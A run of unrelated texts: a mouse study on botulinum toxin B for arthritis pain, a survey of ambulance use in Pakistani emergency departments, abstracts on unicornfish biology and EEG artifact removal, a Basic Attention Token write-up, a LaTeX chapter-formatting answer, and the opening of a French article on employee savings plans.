This study is the first report of intra-articular BoNT/B for analgesia in a murine model of arthritis pain. The results of this study validate prior work using intra-articular neurotoxins in murine models.[@b16-jpr-3-161] Our findings show chronic degenerative arthritis pain can be quantified in a murine model by measuring gait impairment with visual gait analysis scores (ie, spontaneous pain behavior) and joint tenderness scores (ie, evoked pain responses). Visual gait analysis showed significant impairment of gait in arthritic mice that improved 43% after intra-articular BoNT/B, demonstrating a substantial articular analgesic effect. Joint inflammation is not a prominent feature of degenerative arthritis, but joint tenderness, measured with evoked pain response scores, increased with arthritis induction and decreased 49.5% after intra-articular BoNT/B treatment. These changes in joint tenderness were clinically and statistically significant even with the relatively small animal numbers used in this study. Reduction of joint pain seen in this study is consistent with our hypothesis of inhibition of release of pain mediators by intra-articular BoNT/B.
There was a small increase in the evoked pain behavior response score in the contralateral nonarthritic right knee that was not clinically significant. This interesting pain response in the normal contralateral limb is similar to findings noted by other groups studying monoarthritis in murine models. Lam et al reported that substance P exacerbated and spread the early signs of disease, such as increased blood flow and vascular permeability, to contralateral joints.[@b18-jpr-3-161]
Role for intra-articular botulinum therapy
==========================================
Botulinum neurotoxin (BoNT) is produced by *Clostridium botulinum* as a complex of proteins containing the neurotoxic moiety associated with nontoxic components. There are seven serologically distinct BoNT serotypes that all act by inhibiting release of signal chemicals packaged in neuronal vesicles.[@b19-jpr-3-161] The exocytosis of neuronal signal chemicals is dependent on the function of the N-ethylmaleimide-sensitive factor attachment protein receptor complex, collectively called the soluble N-ethylmaleimide-sensitive factor activating protein receptor (SNARE) proteins.[@b19-jpr-3-161],[@b20-jpr-3-161] All serotypes of BoNT cleave SNARE proteins. The specific target site within the SNARE complex is dependent on the BoNT serotype.[@b19-jpr-3-161] Although all BoNTs act by disabling SNARE-associated exocytosis, the potencies and characteristics of their actions vary.[@b19-jpr-3-161]--[@b21-jpr-3-161] Botulinum toxins affect striated muscle by creating a chemical denervation that is temporary and reversible through highly potent inhibition of acetylcholine release at the neuromuscular junction.[@b20-jpr-3-161] Acetylcholine is not the only neurotransmitter affected by BoNTs. BoNTs have also been found to affect the release of multiple SNARE-dependent neuropeptides, including substance P, glutamate, and calcitonin gene-related peptide, all important mediators of articular pain transmission.[@b15-jpr-3-161],[@b22-jpr-3-161]
BoNTs are the most potent neurotoxins known. However, small doses are successful as cosmetic and musculoskeletal therapies. Currently, BoNT/A and BoNT/B are the best characterized and most used clinically. BoNT/A injections are analgesic for painful muscle contractions associated with cervical dystonia, migraine/tension headaches, and myofascial pain syndromes.[@b23-jpr-3-161] In BoNT/A treatment of painful soft tissue syndromes, pain relief preceded the resolution of muscle contractions, suggesting that BoNTs may have antinociceptive effects independent of known effects on neuromuscular junctions.[@b24-jpr-3-161] BoNT/A inhibited capsaicin-stimulated release of substance P from embryonic rat dorsal root ganglia neurons in culture.[@b25-jpr-3-161] Subcutaneous BoNT/A paw injections in a formalin-induced rat model of pain reduced electrical excitations and c-fos expression in the spinal cord, and reduced edema and tissue glutamate release.[@b26-jpr-3-161]
Efficacy of intra-articular BoNT/A for refractory arthritis pain in humans, and in murine models of arthritis joint pain, has been reported recently. Intra-articular BoNT/A reduced lower extremity arthritis pain by an average of 55%, and shoulder pain by an average of 71% in a study of 11 patients with chronic arthritis pain refractory to intra-articular corticosteroids, with no noted adverse effects.[@b14-jpr-3-161] In another study of patients with refractory axial skeletal pain, eight of 11 reported a decrease in pain score, improved activities of daily living, and range of motion following BoNT injections. These BoNT injections for axial skeletal pain provided longer lasting pain relief than corticosteroid injections.[@b27-jpr-3-161] Similar results were found in a randomized placebo-controlled trial of BoNT/A in chronic severe shoulder pain.[@b17-jpr-3-161] Another randomized controlled trial found that intra-articular BoNT/A was as effective as intra-articular corticosteroids for chronic knee pain.[@b28-jpr-3-161] Krug et al have reported significant analgesic effects of intra-articular BoNT/A in murine models of chronic inflammatory arthritis.[@b16-jpr-3-161] Analgesic effects were not found in the acute carrageenan arthritis pain model.
Intra-articular BoNT/B was safe, with no weakness of limb muscles or systemic effects noted. This finding of safety confirms our prior work with intra-articular BoNT/A in murine arthritis models and small human studies. It is possible that higher doses of intra-articular BoNT/B could be used to optimize analgesic effects. The current study does have the noted weakness that our visual gait analysis system may not be sensitive enough to measure full treatment effect, therefore future studies will incorporate computerized digital gait analysis. Additionally, in this preliminary study, the duration of action of intra-articular BoNT/B has not been fully explored. Evaluation of dose response and duration of effect are future research directions for our group. Mixtures of various intra-articular botulinum serotypes may provide faster onset of action and longer duration of effects. Such mixtures may prove useful in other types of articular pain.
This study supports the hypothesis that chronic arthritis pain may be amplified by neuropeptide release in the periphery. Inhibition of neuropeptide release may have altered nociceptor function, and reduced pain generation and neurogenic inflammation. This selective chemodenervation of articular pain fibers with intra-articular injection of neurotoxins is a novel local approach to treatment of arthritis joint pain. Interruption of neuropeptide release by intra-articular BoNT/B appeared to decrease pain responses in the joint and improve gait abnormalities. The results of this study support further investigation of this novel approach to treatment of arthritis pain with intra-articular neurotoxins.
**Disclosure**
The authors have no conflicts of interest in this work.
{#f1-jpr-3-161}
{#f2-jpr-3-161}
{#f3-jpr-3-161}
{#f4-jpr-3-161}
######
Gait impairment criteria
--- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------
0 Mouse refuses to walk on treadmill
1 Mouse walks up to 30% of the allotted time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays severe inconsistencies in gait
2 Mouse walks up to 60% of the allotted time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays moderate inconsistencies in gait
3 Mouse walks up to 90% of the allotted time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays minor inconsistencies in gait
4 Mouse walks the entire time without touching dividers, jumping, splaying its legs, or dragging hindquarters; displays no inconsistencies in gait.
--- -----------------------------------------------------------------------------------------------------------------------------------------------------------------------
######
Grasp impairment criteria
--- ------------------------------------------------------------------------------------------------------
0 Mouse gives no resistance to being pulled across screen; unable to grasp the screen
1 Minimal force needed to pull the mouse across the screen; significant difficulty grasping the screen
2 Moderate force needed to pull the mouse across the screen; moderate difficulty grasping the screen
3 Significant force needed to pull the mouse across the screen; minimal difficulty grasping the screen
4 Full force needed to pull the mouse across the screen; no difficulty grasping the screen.
--- ------------------------------------------------------------------------------------------------------
######
Cling impairment criteria
--- ------------------------------------------------------------------------------------------------------------------------------------------------------------
0 Mouse cannot hold on when the screen is tilted vertically
1 Mouse has shown that it can grip the screen when vertical but falls during every inversion
2 The mouse falls off the screen during two inversions or falls off the screen during one inversion and displays instability during the other two inversions
3 The mouse falls off the screen once or shows instability during two inversions
4 The mouse does not display instability with any inversion.
--- ------------------------------------------------------------------------------------------------------------------------------------------------------------
| {
"pile_set_name": "PubMed Central"
} |
Background
==========
The World Health Organization (WHO) emphasizes the importance of emergency medical services (EMS) systems which are usually the first point of contact with healthcare systems for acute conditions like injuries, chest pain or acute presentation of chronic conditions like diabetic coma in diabetic patients \[[@B1]\]. Many high-income countries (HICs) have well-developed pre-hospital emergency systems which employ modern patient monitoring equipment and have paramedical staff trained to provide pre-hospital care in accordance with the patient\'s condition \[[@B2]\]. Since numerous acute conditions such as chest pain and hemorrhage are time-sensitive, established pre-hospital services play a crucial role in overall patient outcomes \[[@B3]\].
The situation is different in many low-and middle-income countries (LMICs) where there is lack of ambulance services and many patients present to acute healthcare facilities on their own. It is important to note that more than one-third of all deaths in LMICs are preventable with early intervention during the pre-hospital phase \[[@B4]\]. Up to 90% of injury-related mortality occurs in LMICs and in the presence of an adequate EMS system; this burden can be reduced by 45% \[[@B1],[@B5]\]. However, due to lack of funding and trained personnel, emergency services in LMICs are a low priority and are often limited to providing basic transportation facilities without efficient triage services. There is also a general lack of public trust in ambulance services in LMICs \[[@B6]\]. The lack of pre-hospital care services in Pakistan has been a cause of great concern over the years \[[@B4],[@B6]-[@B9]\].
The aim of this study was to determine the frequency of ambulance use by patients coming to the major emergency departments (EDs) of Pakistan. It will also compare the characteristics of patients coming by ambulances and those coming by other modes of transportation, such as public and private vehicles or walk-in patients to the EDs.
Methods
=======
Study setting
-------------
The Pakistan National Emergency Departments Surveillance (Pak-NEDS) was a pilot active surveillance conducted in seven major tertiary care emergency departments in six main cities of Pakistan between November 2010 and March 2011. The EDs included the Aga Khan University (Karachi), Jinnah Post-Graduate Medical Center (Karachi), Mayo Hospital (Lahore), Sandeman Provincial Hospital (Quetta), Lady Reading Hospital (Peshawar), Benazir Bhutto Hospital (Rawalpindi), and Shifa International Hospital (Islamabad). Five of the participating hospitals were public hospitals and two were private hospitals. All the hospitals are tertiary care teaching hospitals and one is a referral center. Ethical approval was obtained from all participating hospitals.
There are several ambulance services operating in various regions of the country which include philanthropic organizations such as the Edhi Foundation (nationwide), and Chippa Welfare Association (Karachi) \[[@B10],[@B11]\]. The Aman Foundation is another non-profit organization in Karachi which deals with healthcare, education and skills, and nutrition for underprivileged \[[@B12]\]. A few EMS services arose due to efforts of provincial governments such as Rescue 1122 \[[@B13]\]. However, these ambulance services currently work in Pakistan at the local level and are not part of an integrated emergency care system. Pak-NEDS did not collect data from any of the above mentioned ambulance services.
Study procedure
---------------
Data collectors were specifically hired and trained for Pak-NEDS. They worked in three shifts providing 24/7 coverage. Data was collected from patients or the next of kin and ED records. A one-page standardized tool was developed based on an ambulatory care survey tool developed by the Centers for Disease Control and Prevention, USA and on previous surveillance work done in Pakistan \[[@B14],[@B15]\]. The tool gathered information related to patient demographics, presenting complaints, treatment and management provided in the ED, provisional diagnosis and disposition from the ED. For this study, we looked at the mode of arrival to the ED of all the patients enrolled in Pak-NEDS. The mode of ED arrival was categorized into two groups; ambulance and non-ambulance. Non-ambulance group comprised of patients who presented to the ED through other means of transport like private vehicle.
Data management
---------------
Data was entered at AKU using EpiInfo version 3.3.2, and SPSS version 19 was used for analysis \[[@B16],[@B17]\]. For the purpose of analysis, six age categories were developed; less than 5 years, 5-12 years, 13-18 years, 19-25 years, 26-45 years, and more than 45 years. Pak-NEDS recorded up to three presenting complaints. In this analysis, presenting complaint is used as a multiple response variable. All presenting complaints were categorized into two major categories, injuries and non-injury.
Injuries included unintentional and intentional injuries. The types of injuries recorded were falls, burns, drowning, poisoning, road traffic injuries and firearm injuries. Non-injury included general presenting complaints like fever, fatigue, weakness, swelling and complaints based on the body organ involved; for example, chest pain was grouped under cardiovascular system, rectal bleeding as part of gastrointestinal system. Other systems in this category were respiratory, central nervous system, musculoskeletal, head and neck, and uro-gynecology. Cities were grouped together by geographical location of participating hospitals: Aga Khan University and Jinnah Post-graduate Medical Center in Karachi; Mayo Hospital in Lahore; Benazir Bhutto Hospital and Shifa International Hospital in Rawalpindi/Islamabad; Lady Reading Hospital in Peshawar; and Sandeman Provincial Hospital in Quetta.
Data analysis
-------------
Comparison of patient factors was done between ambulance and non-ambulance groups using Pearson\'s Chi-squared test for categorical variables and independent sample t-test for continuous variables with level of significance set at 0.05. We also looked at the use of ambulance as an outcome variable. Univariate and multivariate logistic regression was carried out to look at the factors associated with ambulance use. A multivariate model was developed with independent variables including gender, age group, city, hospital type, presenting complaint and disposition.
Results
=======
Out of 274,436 patients enrolled into Pak-NEDS, the mode of arrival to the ED was documented for 94.9% (n = 260,378). Out of these, 4.1% (n = 10,546) were brought to the ED via ambulances; the rest of the patients (n = 249,832, 95.9%) were brought by means other than ambulance. This means that the overall use of ambulance services by patients coming to the major EDs in Pakistan for acute care is 1 in 25 patients.
Comparison of demographic characteristics of patients between the ambulance and non-ambulance group is given in Table [1](#T1){ref-type="table"}. In the ambulance group, the proportion of males was 63.4% (n = 6578), while the proportion of males in the non-ambulance group was 60.7% (n = 150,085). The mean age of patients in the ambulance group (38 ± 18.4 years) was significantly higher (p-value \< 0.001) compared to the mean age of the non-ambulance group (32.8 ± 14.9 years). The proportion of patients brought to public versus private hospitals in both ambulance and non-ambulance groups was similar (93.7% vs. 93.9%, p-value 0.347).
######
Comparison of demographics characteristics and outcome of patients between ambulance and non-ambulance groups
-----------------------------------------------------------------------------------------------------------------------
Patient characteristics Ambulance\ Non-ambulance\ p-value Total\
(n = 10546, 4.1%) (n = 249832, 95.9%) (n = 260,378)
------------------------------------------------ ------------------- --------------------- ---------- -----------------
**Age in years (mean ± SD)** 38 ± 18.4 32.8 ± 14.9 \< 0.001 33.1 ± 15.3
**Gender (n = 257,684)** \< 0.001
Male 6578 (63.4) 150,085 (60.7) 156,663 (60.8)
Female 3795 (36.6) 97,226 (39.3) 101,021 (39.2)
**Age groups (n = 250,034)**
\< 5 years 122 (1.2) 3793 (1.6) \< 0.001 3915 (1.6)
5 - 12 years 335 (3.3) 10,057 (4.2) 10,392 (4.2)
13 - 18 years 747 (7.4) 22,053 (9.2) 22,800 (9.1)
19 - 25 years 1761 (17.5) 52,490 (21.9) 54,251 (21.7)
26 - 45 years 4224 (41.9) 109,410 (45.6) 113,634 (45.4)
\>45 years 2896 (28.7) 42,146 (17.6) 45,042 (18)
**Hospital type (n = 260,378)** 0.347
Public 9883 (93.7) 234,683 (93.9) 244,566 (93.9)
Private 663 (6.3) 15,149 (6.1) 15,812 (6.1)
**Presenting complaint group\* (n = 230,163)** \< 0.001
Non-injury 7262 (82.8) 247,476 (111.8) 254,738 (110.7)
Injuries 5187 (59.1) 50,589 (22.9) 55,776 (24.2)
**Disposition (n = 185,370)** \< 0.001
Discharged from ED 5025 (59) 143,891 (81.4) 148,916 (80.3)
Admitted 2891 (33.6) 26410 (14.9) 29,301 (15.8)
Death in ED 341 (4) 1468 (0.8) 1809 (1.0)
Others\*\* 266 (3.1) 5078 (2.9) 5344 (2.9)
-----------------------------------------------------------------------------------------------------------------------
\*multiple response variable therefore the total is not be 100%
\*\*includes referred patients, left without being seen, left against medical advice
Overall injuries were the presenting complaint in 24.4% (n = 55,776) of all ED visits. Among ambulance users, the proportion of patients with injuries was 59.1% (n = 5187). The analysis shows that in Karachi, 9.4% of ED patients arrived by ambulance versus only 3.4% in Lahore, 2.8% in Peshawar, 2.7% in Quetta and 1.0% in Rawalpindi/Islamabad (Table [2](#T2){ref-type="table"}).
######
Use of ambulance by emergency department patients in different cities of Pakistan (n = 260,378)
Cities\* Ambulance group Non-ambulance group Total
---------------------- ----------------- --------------------- ---------------
Karachi 5807 (9.4) 55,930 (90.5) 61,737 (23.7)
Lahore 1589 (3.6) 43,081 (96.4) 44,670 (17.2)
Peshawar 1578 (2.8) 53,319 (97.1) 54,897 (21.1)
Quetta 912 (2.7) 32,354 (97.3) 33,266 (12.8)
Rawalpindi/Islamabad 660 (1.0) 65,148 (99.0) 65,808 (25.3)
\* Cities variable was created based on the geographical location of participating hospitals; Aga Khan University and Jinnah Post-graduate Medical Center in Karachi; Mayo Hospital in Lahore, Benazir Bhutto Hospital and Shifa International Hospital in Rawalpindi/Islamabad; Lady Reading Hospital in Peshawar and Sandeman Provincial Hospital in Quetta
\*\*Percentage based on row total
\*\*\*Percentage based on column total
The most common presenting complaint in patients using ambulance services was head injury while among non-ambulance users it was fever. Table [3](#T3){ref-type="table"} lists the top ten presenting complaints in both the ambulance and non-ambulance group. Among different age groups within the ambulance use group, injury was the most common reason for coming to the ED for patients in the under 5 years to 26-45 years age group; however, patients above 45 years of age presented to the ED due to non-injury complaints. Among those arriving by ambulances, the proportion being admitted was more than two times compared to those in the non-ambulance group (33.6% vs. 14.9%). About 4% of patients in the ambulance group died in the ED (Table [1](#T1){ref-type="table"}).
######
Top 10 presenting complaints in ambulance and non-ambulance group
Ambulance\* Non-ambulance\*\*
------------------------------ -------------------------------
Head injury (12%) Fever (12%)
Lower extremity injury (11%) Abdominal pain (9%)
Loss of consciousness (7%) Vomiting (7%)
Chest pain (6%) Chest pain (7%)
Shortness of breath (6%) Headache (5%)
Fever (5%) Cough (4%)
Upper limb injuries (5%) Lower extremity injuries (4%)
Abdominal pain (5%) Shortness of breath (4%)
Face injuries (4%) Head injury (3%)
Vomiting (4%) Upper limb injuries (3%)
\* constitutes 65% of all presenting complaints in non-ambulance group
\*\*constitutes 59% of all presenting complaints in non-ambulance group
To examine the factors related to use of ambulance, logistic regression was performed on data available for 154,200 (56.2%) cases (Table [4](#T4){ref-type="table"}). Patients of age groups \<45 years were less likely to be transported by ambulance compared to more than 45 years age group (p-value \< 0.001) adjusted for gender, cities, hospital type, presenting complaint group and disposition. The association of ambulance use with gender was not statistically significant in the model after adjusting for other independent variables in the model. The adjusted odds ratio of utilizing ambulances for those with injuries was 3.5 times higher than those presenting with non-injury complaints (p-value \< 0.001).
######
Logistic regression of factors associated with ambulance use
Patient characteristics Univariate regression Multivariate regression
-------------------------- ----------------------- ------------------------- ---------- --------- ---------- ----------
**Gender**
Female **REF** **REF**
Male 1.12 1.1, 1.2 \< 0.001 1.0 1.0, 1.1 0.5
**Age groups**
\> 45 years **REF** **REF**
\< 5 years 0.5 0.4, 0.6 \< 0.001 0.3 0.3, 0.4 \< 0.001
5 - 12 years 0.5 0.4, 0.5 \< 0.001 0.3 0.3, 0.4 \< 0.001
13 - 18 years 0.5 0.4, 0.5 \< 0.001 0.4 0.4, 0.5 \< 0.001
19 - 25 years 0.5 0.4, 0.5 \< 0.001 0.4 0.4, 0.5 \< 0.001
26 - 45 years 0.6 0.5, 0.6 \< 0.001 0.5 0.4, 0.5 \< 0.001
**Cities**
Quetta **REF** **REF**
Karachi 3.7 3.4, 4.0 \< 0.001 3.6 3.2, 4.1 \< 0.001
Lahore 1.3 1.2, 1.4 \< 0.001 1.6 1.4, 1.8 \< 0.001
Rawalpind/Islamabad 0.4 0.3, 0.4 \< 0.001 0.3 0.3, 0.4 \< 0.001
Peshawar 1.1 1.0, 1.1 0.25 0.6 0.5, 0.7 \< 0.001
**Hospital type**
Private **REF** **REF**
Public 0.9 0.9, 1.0 0.35 2.3 2.1, 2.6 \< 0.001
**Presenting complaint**
Non-injury **REF** **REF**
Injuries 3.2 3.0, 3.3 \< 0.001 3.5 3.3, 3.7 \< 0.001
**Disposition**
Discharged from ED **REF** **REF**
Admitted 3.1 3.0, 3.3 \< 0.001 3.1 2.9, 3.3 \< 0.001
Death in ED 6.7 5.9, 7.5 \< 0.001 7.2 6.2, 8.4 \< 0.001
Others\*\* 1.5 1.3, 1.7 \< 0.001 1.4 1.2, 1.6 \< 0.001
OR = odds ratio
\*Model constant -4.3
\*\*includes referred patients, left without being seen, left against medical advice
The adjusted odds of admission among patients in the ambulance group were 3.0 times higher compared to patients in the non-ambulance group (p-value \< 0.001). Patients brought to the ED by ambulance were 7.3 times more likely to die in the ED than non-ambulance patients, after adjusting for gender, age groups, cities, hospital type and presenting complaint group (p-value \< 0.001).
Discussion
==========
This study shows that only 4.1% of the patients coming to the major EDs in Pakistan use ambulance services. There are no global standards for appropriate utilization rate for ambulances. Many factors are likely to play a significant role in the utilization rate including availability of ambulances, cost of the service, differences in the disease burden and severity of illnesses, age distribution of population, geographic spread and availability of alternate methods of seeking care. Nevertheless, the utilization rate from Pakistan is lower then reported from high income countries which have reported percentage of ambulance use between 14.2% and 30% for patients coming to the emergency department \[[@B18]-[@B20]\]. An even higher percentage of 67.3% was reported in a recent study from India \[[@B21]\]. A study done over 15 years ago in the city of Karachi, Pakistan reported ambulance use of 16%, though that study only looked at patients admitted to the hospital where the acuity, and therefore ambulance utilization, was expected to be higher than all who came to the emergency department \[[@B22]\]. This low use of ambulance in Pakistan has previously been attributed to poorly equipped transportation facilities, lack of proficient staff, and lack of pre-hospital care, all of which breed a lack of trust in the EMS system \[[@B4]\]. There is lack of trust in EMS by the public which augments uncertainty about the adequacy of EMS in Pakistan to provide pre-hospital care \[[@B6]\]. Pak-NEDS shows that patients coming to the ED were likely to be elderly patients, those with injuries especially head injuries, and those who were likely to die in the ED. We did not find significant association between ambulance use and gender after controlling for other variables in the model.
This study shows that patients more than 45 years of age are more likely to come to ED via ambulance and most of the older patients present due to non-injury complaints. This is consistent with previous studies on ambulance utilization \[[@B23]-[@B25]\]. This could be because elderly patients have chronic diseases like diabetes, cardiovascular disease and acute deterioration of a chronic illness, which results in frequent ED visits. Also due to functional restraints, it is likely that ambulances are used to transport older patients to a nearby health facility for acute care \[[@B23]\]. In comparison to older patients, injury was the common reason for transporting younger patients to ED via ambulance. This might be due to quick response of ambulances in urban centers to such incidents.
A higher proportion of patients brought into the ED via ambulances died in the ED or were admitted to the hospital, compared to those who used other modes of transportation to the ED. Most of the deaths in the ambulance group were seen in patients presenting with chest pain or shortness of breath. This indicates the need for the establishment of pre-hospital emergency services, which encompass the provision of patient monitoring devices, basic and advanced life support, and trained paramedics in accordance with the availability of resources \[[@B1]\]. A study done in Canada reported that older patients with myocardial infarction who used ambulances were sicker when compared with their counterparts who did not use ambulances to come to the hospital \[[@B26]\]. Triage and pre-hospital care by paramedic staff remains an important constituent of emergency care. This is especially true for patients with time-sensitive conditions like myocardial infarction, stroke (hemorrhage/ischemia), sepsis, cardiopulmonary arrest and trauma, where prompt identification and treatment results in markedly improved patient survival and outcomes \[[@B27]-[@B31]\].
Limitations
===========
There are several limitations in this analysis. There was missing data in Pak-NEDS related to ambulance use. As a result, logistic regression was done on 56% of the patient for whom data related to all variables was available. The data lacked in information related to type of ambulance (transport vehicle, basic life support or advance life support vehicle) used for transportation of the patient, ambulance response time, transportation time and interventions done during the pre-hospital phase, if any, to the patients who came through ambulances. Our study recorded information related to different types of presenting complaints; for example, chest pain, injuries, and stroke. However, it lacks information on severity of these time-sensitive conditions. This hampers analysis related to disease severity and outcome. We did not have follow-up information on the patients to determine outcomes such as 30-day mortality or length of hospital stay, which would help determine the effectiveness of care provided in the emergency department as well as in the ambulance, if any. This study also lacks population level estimates related to ambulance use and hospital catchment area.
Conclusion
==========
This study shows that the use of ambulance services in Pakistan remains quite low overall. Patients older than 45 years of age and those who have injuries are more likely to be transported via ambulance. Patients coming to ED by ambulance have higher likelihood of death in the ED or admission to the hospital for further care. We propose that increasing utilization of a pre-hospital emergency care system integrated with overall healthcare system could potentially reduce mortality and improve outcomes. This needs further studies to see association between ambulance and better outcome.
Competing interests
===================
The authors declare that they have no competing interests.
Authors\' contributions
=======================
NZ was involved in the analysis and manuscript writing. HS, SS and HA wrote the first draft. SMB, CR, AAH and JAR provided critical review of the draft. AAH and JAR conceptualized Pak-NEDS and provided supervision during development of manuscript. All the authors approved the final manuscript except SS who passed away during the manuscript finalization phase.
Acknowledgements
================
The authors would like to acknowledge the collaborators and data collection teams from all participating sites for their support during data collection and Ms. Bobbi Nicotera for providing language edits for the manuscript. The Pak-NEDS study was supported through the \"Johns Hopkins International Collaborative Trauma and Injury Research Training Program\" \[Grant No. D43TW007292\] by Fogarty International Center of the United States National Institutes of Health. The content is solely the responsibility of the authors and does not represent the views of Fogarty or NIH.
This article has been published as part of *BMC Emergency Medicine*Volume 15 Supplement 2, 2015: Articles from the Pakistan National Emergency Departments Surveillance Study (Pak-NEDS). The full contents of the supplement are available online at <http://www.biomedcentral.com/bmcemergmed/supplements/15/S2>. Publication of this supplement was funded by the Johns Hopkins School of Public Health.
| {
"pile_set_name": "PubMed Central"
} |
Age-based demographic and reproductive assessment of orangespine Naso lituratus and bluespine Naso unicornis unicornfishes.
Bluespine unicornfish Naso unicornis and orangespine unicornfish Naso lituratus were sampled in Pohnpei and Guam, Micronesia, over 13 months to identify reproductive and age-based demographic features necessary for informed management. Age and reproductive information were derived from analysis of sagittal otoliths and gonads. Both species had moderate life spans [maximum ages of 23 (N. unicornis) and 14 years (N. lituratus)] compared with published estimates of conspecifics from other locations (>30 years) and of other Naso species. Length at maturation for N. unicornis was similar between Pohnpei and Guam while females consistently matured at a larger size [c. 30 cm fork length (LF )] than males (c. 27 cm LF ). This sex-specific pattern was reversed in N. lituratus for which estimates of maturation length (females: 15 cm LF ; males: 18 cm LF ) were only obtained from Guam. Developmental patterns in female gonads of both species suggested that initiation of maturation occurs very early. Growth patterns of N. lituratus displayed rapid asymptotic growth compared with N. unicornis and other congeners as well as slight sex-specific patterns of length-at-age. Results highlight the considerable spatial variation that may occur in the population biology of these species across various scales. Additionally, proper management remains complicated without improved knowledge of fishery trends and reproductive behaviour in unicornfishes, species that are prime fishery targets in Micronesia and elsewhere. | {
"pile_set_name": "PubMed Abstracts"
} |
Evolutionary computing based approach for the removal of ECG artifact from the corrupted EEG signal.
Electroencephalogram (EEG) is an important tool for clinical diagnosis of brain-related disorders and problems. However, it is corrupted by various biological artifacts, of which ECG is one among them that reduces the clinical importance of EEG especially for epileptic patients and patients with short neck. To remove the ECG artifact from the measured EEG signal using an evolutionary computing approach based on the concept of Hybrid Adaptive Neuro-Fuzzy Inference System, which helps the Neurologists in the diagnosis and follow-up of encephalopathy. The proposed hybrid learning methods are ANFIS-MA and ANFIS-GA, which uses Memetic Algorithm (MA) and Genetic algorithm (GA) for tuning the antecedent and consequent part of the ANFIS structure individually. The performances of the proposed methods are compared with that of ANFIS and adaptive Recursive Least Squares (RLS) filtering algorithm. The proposed methods are experimentally validated by applying it to the simulated data sets, subjected to non-linearity condition and real polysomonograph data sets. Performance metrics such as sensitivity, specificity and accuracy of the proposed method ANFIS-MA, in terms of correction rate are found to be 93.8%, 100% and 99% respectively, which is better than current state-of-the-art approaches. The evaluation process used and demonstrated effectiveness of the proposed method proves that ANFIS-MA is more effective in suppressing ECG artifacts from the corrupted EEG signals than ANFIS-GA, ANFIS and RLS algorithm. | {
"pile_set_name": "PubMed Abstracts"
} |
Reddit 53 94 Shares
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The idea behind the project is to provide a platform that enables Ad placement and allows for micro-payments between publishers, advertisers, and content creators. Essentially eliminating the need for third parties such as ad networks like Google. The token is powered by Ethereum blockchain and is used on a web browser called Brave, which offers this ad services. The developers believe in targeted advertisement that will be more efficient for all parties involved. This will be made possible by tracking user interactions and recording and storing this data in a distributed ledger.
According to the company’s Whitepaper , the BAT system will provide users with, relevant adverts, privacy and security when viewing ads and a share of the BAT tokens for their attention. As for publishers, they will get improved revenue, better reporting, and less fraud. Lastly, advertisers will get less fraud, better attribution, and less expensive customer attention. The token (BAT) will be integrated into all this by having advertisers transact with BAT, the publisher will be paid in BAT and users will be rewarded for their attention in BAT.
So, clearly, this is a project that if successful is bound to revolutionize an industry that is opaque and dominated by several third-party multinationals, while introducing features that are unheard of in such third-party companies.
One particular feature of the BAT system that has attracted users is that it is designed to match users with local advertisers, hence, the results are more relevant and makes it much easier and faster since the user accesses local servers rather than worldwide servers. Other impressive features include Ad matching, which means that the system can access the user’s history data and produce the most relevant ads depending on keyword matches, active tabs and history searches. Privacy has also been an issue in the industry with third-parties receiving private data and using it against users. However, with the BAT system, personal data never leaves the users device. Users are also rewarded for their attention when viewing advertisements, an initiative that will act as an incentive for users to give ads their undivided attention.
Although BAT tokens are primarily designed to be used for exchange between Ad service providers, they can be exchanged for fiat or other cryptocurrencies. Currently, the coin is available in different crypto exchanges and BAT’s partner Uphold.com . Coinbase, which announced a month ago it was considering listing BAT, would be the first major crypto exchange to list the token and this would represent a major step for BAT.
Basic Attention Token brings a new and innovative solution to an industry which is currently outdated and both inefficient and ineffective. The project is excellent and the team led by Brendan Eich is excellent and up to the task. As for the token, much like most, its success is underpinned by the success of the project. However, speculators will have their market share which will influence its price, especially now that there is a possibility that it could be listed on Coinbase.
Build a winning crypto portfolio Free report teaches how to structure your crypto portfolio, so you can maximize gains and minimize losses. | {
"pile_set_name": "OpenWebText2"
} |
Q:
Format title for \chapter*{}
I have formatted Chapter titles using the package titlesec, but the formatting is unsuccessful in applying to my chapters with an asterisk *, (those chapters which I do not want appearing in my table of contents.)
That is, I would like to center and make \huge a title which corresponds to \chapter*{Some Title}.
For all my other chapters, I have successfully used:
\titleformat{\chapter}[display]
{\normalfont\huge\bfseries}{\centering\chaptertitlename\ \thechapter}{20pt}{\huge}
How may I do this for \chapter*{}, using titlesec or otherwise?
This is under \documentclass{report}.
EDIT:
\documentclass[12pt]{report}
\usepackage{tocloft}
\usepackage{titlesec}
\begin{document}
\titleformat{\chapter}[display]
{\normalfont\huge\bfseries}{\centering\chaptertitlename\ \thechapter}{20pt}{\huge}
\tableofcontents{}
\addcontentsline{toc}{chapter}{Unnumbered Title}
\chapter*{Unnumbered Title}
I would like the title above centered
\chapter{Numbered Title}
...centered like this chapter heading above
\end{document}
Thank you!
A:
You can have what you want with the numberless key. I'm not sure whether you want unnumbered chapters to be in the table of contents; the below code does it, but it's easy to undo it if you don't want. Just use:
\titleformat{\chapter}[display] {\normalfont\huge\bfseries\filcenter}{\chaptertitlename\ \thechapter}{20pt}{}
\titleformat{name=\chapter,numberless}[block] {\normalfont\huge\filcenter\bfseries}{}{0pt}{\huge}[\addcontentsline{toc}{chapter}{\chaptertitle}]
| {
"pile_set_name": "StackExchange"
} |
L’épargne salariale, un jeu d’enfants ? JHR FILMS/CINE 3D
Qui dit épargne salariale dit épargne dans le cadre de l’entreprise. Mais certainement pas épargne passive : c’est bien au titulaire du plan d’épargne entreprise (PEE) ou un plan d’épargne retraite collectif (Perco) de gérer ses investissements. « Dans les faits, rares sont toutefois ceux qui prennent vraiment les choses en main », déplore Philippe Crevel, qui dirige Le Cercle de l’épargne. Dommage, car faute d’implication du salarié, des choix par défaut lui sont imposés, et ils peuvent se révéler contraires à ses intérêts. Quelles sont les premières décisions à prendre ? Questions-réponses.
Faut-il percevoir participation et intéressement directement ou les affecter à un plan spécifique ?
La condition pour placer ces sommes sur un plan d’épargne salariale : être sûr(e) de ne pas avoir besoin de les retirer rapidement pour un motif qui n’est pas autorisé. PEE et Perco impliquent en effet un blocage de l’épargne, cinq ans pour l’un, jusqu’à la retraite pour l’autre. Mais des cas de déblocage anticipé existent (listés ici) et ils sont assez nombreux pour le PEE (mariage, pacs, troisième enfant, divorce, achat de résidence principale, rupture du contrat de travail, etc.).
